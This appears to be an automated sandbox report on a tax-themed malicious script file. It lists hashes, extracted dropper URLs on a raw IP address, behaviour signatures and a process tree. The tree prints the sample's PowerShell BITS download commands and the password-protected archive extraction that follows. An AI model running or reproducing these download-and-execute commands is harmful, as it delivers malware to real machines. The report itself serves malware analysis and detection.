Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2024, 21:29

General

  • Target

    2O22-Tax-Returns.wsf

  • Size

    22KB

  • MD5

    98ee1c0d924160400ecef6a607233e71

  • SHA1

    bf458f68d2080dfc3b3ab557c422e003f83a80e8

  • SHA256

    31474cb3c6ed64770b4930d9d0ba11edc9ba03b7c09d9a3798eb8b77a81ca50a

  • SHA512

    81e77e30dcd15edf8089eb4299c4e01914a889b90eb46ba99c90087e043832e0a6caaf7fcebd51905e31f14cdab5c042bb43de9d35078c92155197a84e370be7

  • SSDEEP

    384:eE3AcRO1fDgpRyeBNhQz0yFvYN5E3AcRO1fDgpRyeBNhQz0yFvYN/:x3bObgDyeHk0yFvYY3bObgDyeHk0yFvg

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2O22-Tax-Returns.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2468
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
      2⤵
        PID:2724

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2468-7-0x000000001B660000-0x000000001B942000-memory.dmp

            Filesize

            2.9MB

          • memory/2468-8-0x0000000002340000-0x0000000002348000-memory.dmp

            Filesize

            32KB

          • memory/2468-9-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

            Filesize

            9.6MB

          • memory/2468-10-0x00000000029C0000-0x0000000002A40000-memory.dmp

            Filesize

            512KB

          • memory/2468-11-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

            Filesize

            9.6MB

          • memory/2468-13-0x00000000029C0000-0x0000000002A40000-memory.dmp

            Filesize

            512KB

          • memory/2468-12-0x00000000029C0000-0x0000000002A40000-memory.dmp

            Filesize

            512KB

          • memory/2468-14-0x00000000029C0000-0x0000000002A40000-memory.dmp

            Filesize

            512KB

          • memory/2468-15-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

            Filesize

            9.6MB